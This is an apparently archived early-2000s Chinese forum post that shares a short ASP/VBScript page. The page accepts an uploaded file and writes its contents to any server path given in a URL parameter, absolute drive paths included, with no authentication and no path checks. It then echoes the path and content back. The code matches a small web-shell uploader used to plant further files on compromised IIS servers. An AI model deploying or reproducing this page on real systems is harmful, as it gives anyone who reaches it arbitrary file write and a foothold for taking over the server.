发信人: topkins(阿斯匹林)
整理人: dongbao(2002-04-19 16:42:52), 站内信件
|
以求抛砖引玉
<%@ language="vbscript"%>
<%
response.buffer=true
doing=request.querystring("doing")
fn=request.querystring("fn")
if doing="" then
if fn="" then
response.write("fn Pare error")
response.End
End if
mme=request.servervariables("SCRIPT_NAME")
%>
<html>
<body>
<form name="mainForm" enctype="multipart/form-data" action="<%=mme%>?doing=1&fn=<%=fn%>" method=post>
<input type=file name=mefile><input type=submit name=ok value="OK">
</form>
</body>
</html>
<%
else
formsize=request.totalbytes
formdata=request.binaryread(formsize)
bncrlf=chrB(13) & chrB(10)
divider=leftB(formdata,clng(instrb(formdata,bncrlf))-1)
datastart=instrb(formdata,bncrlf & bncrlf)+4
dataend=instrb(datastart+1,formdata,divider)-datastart-2
data=midb(formdata,datastart,dataend)
da=""
cc=0
%>
<%
for a=1 to lenb(data)
tt=midb(data,a,1)
if cc=0 then
if ascb(tt)>127 then
cc=1
up=ascb(tt)*256
else
da=da+chrw(ascb(tt))
end if
else
if ascb(tt)>127 then
da=da+chr(up+ascb(tt))
cc=0
else
da=da+chrw(up/256)
da=da+chrw(ascb(tt))
end if
end if
next
%>
<%
if instr(fn,":")=0 then
outfile = server.mappath(fn)
else
outfile=fn
end if
Set fs = CreateObject("Scripting.FileSystemObject")
Set file = fs.createTextFile(outfile,1,False)
file.writeline(da)
file.close
set file=nothing
set fs=nothing
response.write("file has been upload seccess "+outfile+"<br>this is the message<br><br>")
%>
<center><textarea rows='20' cols='80'><%=da%></textarea></center>
<%
end if
%>
----
-=助人为快乐之本=- |
|